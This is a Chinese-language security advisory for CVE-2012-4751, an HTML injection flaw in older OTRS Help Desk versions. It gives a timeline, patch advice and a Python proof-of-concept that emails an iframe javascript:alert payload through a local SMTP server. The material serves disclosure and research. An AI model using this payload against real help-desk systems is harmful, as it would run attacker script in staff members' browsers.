发布日期：2012-10-17
更新日期：2012-10-21
受影响系统：
otrs OTRS Help Desk 3.x
otrs OTRS Help Desk 2.x
描述：
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BUGTRAQ ID: 56093
CVE ID: CVE-2012-4751
OTRS Help Desk是开源资源服务管理解决方案。
OTRS 2.4.15、3.0.17、3.1.11之前版本存在HTML注入漏洞，HTML电子邮件内传递的输入没有正确过滤即显示给用户，成功利用后可插入任意HTML和脚本代码并在受影响站点的用户浏览器中执行。
<*来源：Mike Eduard
链接：#!/advisory/ZSA-2012-03
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/python
'''
Author: Mike Eduard - Znuny - Enterprise Services for OTRS
Product: OTRS Open Technology Real Services
Version: 3.1.8, 3.1.9 and 3.1.10
Vendor Homepage:
CVE: 2012-4751
Timeline:
03 Sep 2012: Vulnerability reported + fix to vendor
04 Sep 2012: Vulnerability reported to CERT
05 Sep 2012: Response received from CERT
28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012
16 Oct 2012: Update: vulnerability patched
#!/advisory/ZSA-2012-03
17 Oct 2012: Public Disclosure
Installed On: Windows Server 2008 R2 & Open SUSE 12.1
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Firefox 14+16 & Opera 12.01
Injection Point: HTML Email
Injection Payload(s):
1: <iframe src=" javascript:alert('XSS Exploit');"></iframe>
'''
import smtplib, urllib2
payload = """
<iframe src=" javascript:alert('XSS Exploit');"></iframe>
"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@znuny.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@znuny.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@znuny.local"
smtpsrv = "127.0.0.1"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议：
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厂商补丁：
otrs
----
otrs已经为此发布了一个安全公告（security-advisory-2012-03）以及相应补丁:
security-advisory-2012-03：Security Advisory 2012-03